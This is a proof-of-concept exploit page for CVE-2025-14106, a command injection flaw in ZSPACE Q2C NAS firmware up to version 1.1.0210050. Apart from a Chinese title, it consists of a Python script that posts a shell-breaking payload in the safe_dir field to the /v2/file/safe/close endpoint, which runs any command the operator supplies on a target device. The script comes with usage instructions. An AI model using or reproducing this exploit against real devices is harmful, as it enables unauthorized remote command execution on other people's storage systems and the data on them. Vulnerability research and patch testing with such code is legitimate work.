CVE-2025-14106 ZSPACE Q2C NAS命令注入漏洞

import requests import sys # CVE-2025-14106 PoC - ZSPACE Q2C NAS Command Injection # Target: ZSPACE Q2C NAS up to version 1.1.0210050 # Endpoint: /v2/file/safe/close def exploit(target_url, cmd): """ Exploit command injection in zfilev2_api.CloseSafe function Target parameter: safe_dir """ endpoint = "/v2/file/safe/close" url = target_url.rstrip('/') + endpoint # Payload construction with command injection payload = f"'; {cmd}; #" data = { 'safe_dir': payload } try: response = requests.post(url, data=data, timeout=10) print(f"[*] Request sent to {url}") print(f"[*] Status code: {response.status_code}") print(f"[*] Response:\n{response.text}") return True except requests.exceptions.RequestException as e: print(f"[!] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 3: print(f"Usage: python {sys.argv[0]} <target_url> <command>") print(f"Example: python {sys.argv[0]} http://192.168.1.100 'id'") sys.exit(1) target = sys.argv[1] command = sys.argv[2] exploit(target, command)